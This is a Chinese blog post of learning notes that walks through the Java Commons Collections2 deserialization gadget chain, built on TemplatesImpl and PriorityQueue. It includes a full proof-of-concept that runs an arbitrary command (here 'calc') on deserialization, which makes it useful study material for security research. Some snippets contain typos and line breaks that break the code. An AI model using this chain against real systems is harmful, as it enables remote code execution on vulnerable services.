JAVA反序列化学习笔记4.Commons Collections2分析

简介: JAVA反序列化学习笔记4.Commons Collections2分析

Log4j2 研究之lookup

看你们也就看个乐子,真分析还得看我宽字节师傅们的。

0x01.前言

同CC1相比,CC2可以触发代码执行,更灵活一些,在版本方面,JDK1.7 和 1.8都可使用, commons-collections需要4.0版本

maven配置为

<dependency> 
 <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId>  
  <version>4.0</version>
</dependency>

还是先来分析一个简单的代码执行后再深入分析

0x02.TemplatesImpl类

该类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

先来一段代码

Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); Method method = classz.getMethod("newTransformer"); method.setAccessible(true);
Field field = classz.getDeclaredField("_bytecodes"); 
byte[] files = Files.readAllBytes(Paths.get("E:\\javapro\\serandfor\\src\\main\\java\\com\\seri\\payload.class"));
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); 
field.set(o,b);
Field field2 = classz.getDeclaredField("_name"); 
field2.setAccessible(true); 
field2.set(o,"test");
Field field3 = classz.getDeclaredField("_tfactory"); 
field3.setAccessible(true); 
field3.set(o,new TransformerFactoryImpl());
method.invoke(o);

一个基础思路是,通过defineClass去加载一个自定义的class文件的内容,之后实例化,触发代码 执行。在defineTransletClasses函数中调用 内部类TransletClassLoader中的defineClass类

可以看到继承了ClassLoader类,并调用了ClassLoader中的defineClass函数进行类加载操作。

但是defineTransletClasses函数是私有的,无法进行直接调用,所以需要找到一个public口

在本类的getTransletInstance方法中调用了defineTransletClasses,并且将返回的Class对象进行 了实例化操作,就可以触发构造函数和静态代码块中的代码了。

但是该函数还是private,在往上找,在本类的newTransformer方法中调用了 getTransletInstance,并且为public

所以调用流程为TemplatesImpl->newTransformer->getTransletInstance>defineTransletClasses

接下来分析一下为了让代码顺利执行,需要一些属性的赋值,该类的属性大多为private,需使用反射赋值。

先看newTransformer函数,并没有什么需要赋值的就可以执行到getTransletInstance函数了。

getTransletInstance函数中需要让_name 属性不为null即可调用defineTransletClasses函数,其 中_class是一个Class类型数组。

接下来仔细分析一下defineTransletClasses函数。(JDK1.8下)

private void defineTransletClasses() 
  throws TransformerConfigurationException { 
  if (_bytecodes == null) {//_bytecodes属性不能为null 为byte型二维数组 byte[] []_bytecodes 
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); 
    throw new TransformerConfigurationException(err.toString());
 }
 TransletClassLoader loader = (TransletClassLoader) 
    AccessController.doPrivileged(new PrivilegedAction() { 
      public Object run() { 
        //需要对_tfactory属性赋值
        //private transient TransformerFactoryImpl _tfactory = null; 
        //transient代表不对其进行序列化,赋值为TransformerFactoryImpl对象即可 
        return new   
        TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); 
      }
 });
 try {
  final int classCount = _bytecodes.length; 
    _class = new Class[classCount];
    if (classCount > 1) { 
      _auxClasses = new HashMap<>(); 
    }
 for (int i = 0; i < classCount; i++) {
  //循环_bytecodes数组,将每一个byte数组通过defineClass类加载成Class对象 
    _class[i] = loader.defineClass(_bytecodes[i]); 
    final Class superClass = _class[i].getSuperclass(); //获取转换的类的父类信息
  //为了保证后续的实例化,_transletIndex不能小于0,就必须进入下方的if判断 
    //父类的名字必须为ABSTRACT_TRANSLET,值为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) { 
      _transletIndex = i; 
    } 
    else { 
      _auxClasses.put(_class[i].getName(), _class[i]); 
    } 
  }
  if (_transletIndex < 0) { //_transletIndex不能小于0,否则会抛出异常,程序终止, 无法执行到getTransletInstance函数的newInstance语句 
     ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); 
     throw new TransformerConfigurationException(err.toString());
   } 
  } 
  catch (ClassFormatError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  } 
  catch (LinkageError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  }
}

注意一下JDK1.7中其实无需赋值_tfactory属性,因为并没有去调用。

所以我们需要赋值的三个属性为_bytecodes  _name  _tfactory

其中_bytecodes 为我们要构造的类的class文件的byte数组,这个类我们可以随意构造,类实例化 操作后会执行静态代码块和构造函数,我们在其中构造危险代码即可。(注意因为上方代码问题需要使这个类继承AbstractTranslet

最开始读取的class文件代码为

但是这段语句是直接从本地文件读取,在利用上可能较为不方便,所以修改为javassist来动态生成 class类

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass 
payload=classPool.makeClass("payload2");//创建一个新的public类 
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet 
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"calc\");"); // 设置静态代码块
Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); 
Method method = classz.getMethod("newTransformer"); 
method.setAccessible(true);
Field field = classz.getDeclaredField("_bytecodes"); 
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); field.set(o,b);
Field field2 = classz.getDeclaredField("_name"); f
 ield2.setAccessible(true); 
field2.set(o,"test");
Field field3 = classz.getDeclaredField("_tfactory"); 
field3.setAccessible(true); 
field3.set(o,new TransformerFactoryImpl());
method.invoke(o);




到此底层的逻辑构造完成。

0x03.TransformingComparator

这里需要想的是怎么能调用newTransformer函数,这里可以用到CC1中的InvokerTransformer的 transform方法去调用。

只要确保input的值为TemplatesImpl对象,就可以通过反射调用其newTransformer函数。

这时候来看TransformingComparator类,通过构造函数可以指定transformer为 InvokerTransformer,之后在compare函数中调用其transform方法。


对应POC代码为

InvokerTransformer invokerTransformer = new 
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);

之后寻找调用compare方法的位置。

0x04.PriorityQueue

既要调用TransformingComparator类的compare方法,又要确保obj1的值为TemplatesImpl对象。

来看PriorityQueue类,是一个处理队列相关的类。

首先siftDownUsingComparator方法会调用comparator对象的compare方法

siftDown方法中又会调用siftDownUsingComparator方法,

heapify方法中又会调用siftDown方法,

readObject方法中调用了heapify


正向来看就是

PriorityQueue->readObject->heapify->siftDown->siftDownUsingComparator>comparator.compare

POC代码为

InvokerTransformer invokerTransformer = new 
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2); 
queue.add(1); 
queue.add(1);
Field field4=queue.getClass().getDeclaredField("comparator"); 
field4.setAccessible(true); 
field4.set(queue,trans);
Field field5=queue.getClass().getDeclaredField("queue"); 
field5.setAccessible(true); 
field5.set(queue,new Object[]{templatesImpl,templatesImpl});

PriorityQueue的comparator类型为Comparator接口,而TransformingComparator同样实现了 该接口

所以通过反射将其值改为构造好的TransformingComparator对象,这样就会调用comparator方 法,之后再调用InvokerTransformer的transform方法。

这时候我们需要满足的就是这个c对象的值为TemplatesImpl对象即可。

c的值通过queue数组获取,而queue为Object类型数组

这样通过反射为其赋值为templatesImpl对象数组即可。这样就能保证c的值为templatesImpl对象。

完整POC为

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass 
payload=classPool.makeClass("payload2");//创建一个新的public类 
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet 
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"calc\");"); // 设置静态代码块
Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object templatesImpl = classz.newInstance(); 
Method method = classz.getMethod("newTransformer"); 
method.setAccessible(true);
Field field = classz.getDeclaredField("_bytecodes"); 
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); 
field.set(templatesImpl,b);
Field field2 = classz.getDeclaredField("_name"); 
field2.setAccessible(true); 
field2.set(templatesImpl,"test");
Field field3 = classz.getDeclaredField("_tfactory"); //这里赋值没有意义 field3.setAccessible(true); 
field3.set(templatesImpl,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2); 
queue.add(1); 
queue.add(1);
Field field4=queue.getClass().getDeclaredField("comparator"); 
field4.setAccessible(true); 
field4.set(queue,trans);
Field field5=queue.getClass().getDeclaredField("queue"); 
field5.setAccessible(true); 
field5.set(queue,new Object[]{templatesImpl,templatesImpl});
//序列化 
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt"); 
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(queue); 
objectOutputStream.close();
//反序列化 
FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); 
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 
Object result = objectInputStream.readObject(); 
objectInputStream.close();

执行链为:

->PriorityQueue类
 ->readObject
 ->heapify
 ->siftDown
 ->siftDownUsingComparator
  ->TransformingComparator类
  ->compare
   ->InvokerTransformer类
   ->transform
    ->TemplatesImpl类
    ->newTransformer
    ->getTransletInstance ---->调用完defineTransletClasses后调用newInstance实例化对象,触发静态代码块中的危险代码
    ->defineTransletClasses

0x05.总结

这里还有个问题,TemplatesImpl_tfactory的类型为transient,数据不进行序列化操作,所以我们通过反射给其赋值也没有意义,那如何经过代码呢, 其实在readObject方法中有手动赋值的操作。

再来看PriorityQueue类的queue属性也为transient,默认不进行序列化,但是在readObject方法 中进行取值了。

那这个值是怎么来的呢?是因为在writeObject方法中进行了手动序列化

相关文章
|
22天前
|
监控 算法 Java
jvm-48-java 变更导致压测应用性能下降,如何分析定位原因?
【11月更文挑战第17天】当JVM相关变更导致压测应用性能下降时,可通过检查变更内容(如JVM参数、Java版本、代码变更)、收集性能监控数据(使用JVM监控工具、应用性能监控工具、系统资源监控)、分析垃圾回收情况(GC日志分析、内存泄漏检查)、分析线程和锁(线程状态分析、锁竞争分析)及分析代码执行路径(使用代码性能分析工具、代码审查)等步骤来定位和解决问题。
|
1月前
|
存储 安全 Java
🌟Java零基础-反序列化:从入门到精通
【10月更文挑战第21天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
80 5
|
1月前
|
存储 Java 关系型数据库
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践,包括连接创建、分配、复用和释放等操作,并通过电商应用实例展示了如何选择合适的连接池库(如HikariCP)和配置参数,实现高效、稳定的数据库连接管理。
65 2
|
1月前
|
存储 缓存 安全
🌟Java零基础:深入解析Java序列化机制
【10月更文挑战第20天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
29 3
|
1月前
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第22天】在Java的世界里,对象序列化和反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何在Java中实现对象的序列化与反序列化,并探讨其背后的原理。通过实际代码示例,我们将一步步展示如何将复杂数据结构转换为字节流,以及如何将这些字节流还原为Java对象。文章还将讨论在使用序列化时应注意的安全性问题,以确保你的应用程序既高效又安全。
|
1月前
|
Java 关系型数据库 数据库
面向对象设计原则在Java中的实现与案例分析
【10月更文挑战第25天】本文通过Java语言的具体实现和案例分析,详细介绍了面向对象设计的五大核心原则:单一职责原则、开闭原则、里氏替换原则、接口隔离原则和依赖倒置原则。这些原则帮助开发者构建更加灵活、可维护和可扩展的系统,不仅适用于Java,也适用于其他面向对象编程语言。
37 2
|
1月前
|
Java 数据库连接 API
Spring 框架的介绍(Java EE 学习笔记02)
Spring是一个由Rod Johnson开发的轻量级Java SE/EE一站式开源框架,旨在解决Java EE应用中的多种问题。它采用非侵入式设计,通过IoC和AOP技术简化了Java应用的开发流程,降低了组件间的耦合度,支持事务管理和多种框架的无缝集成,极大提升了开发效率和代码质量。Spring 5引入了响应式编程等新特性,进一步增强了框架的功能性和灵活性。
47 0
|
1月前
|
存储 缓存 NoSQL
一篇搞懂!Java对象序列化与反序列化的底层逻辑
本文介绍了Java中的序列化与反序列化,包括基本概念、应用场景、实现方式及注意事项。序列化是将对象转换为字节流,便于存储和传输;反序列化则是将字节流还原为对象。文中详细讲解了实现序列化的步骤,以及常见的反序列化失败原因和最佳实践。通过实例和代码示例,帮助读者更好地理解和应用这一重要技术。
44 0
|
2月前
|
存储 Java 编译器
[Java]基本数据类型与引用类型赋值的底层分析
本文详细分析了Java中不同类型引用的存储方式,包括int、Integer、int[]、Integer[]等,并探讨了byte与其他类型间的转换及String的相关特性。文章通过多个示例解释了引用和对象的存储位置,以及字符串常量池的使用。此外,还对比了String和StringBuilder的性能差异,帮助读者深入理解Java内存管理机制。
28 0
|
1月前
|
JSON 数据格式 索引
Python中序列化/反序列化JSON格式的数据
【11月更文挑战第4天】本文介绍了 Python 中使用 `json` 模块进行序列化和反序列化的操作。序列化是指将 Python 对象(如字典、列表)转换为 JSON 字符串,主要使用 `json.dumps` 方法。示例包括基本的字典和列表序列化,以及自定义类的序列化。反序列化则是将 JSON 字符串转换回 Python 对象,使用 `json.loads` 方法。文中还提供了具体的代码示例,展示了如何处理不同类型的 Python 对象。
下一篇
DataWorks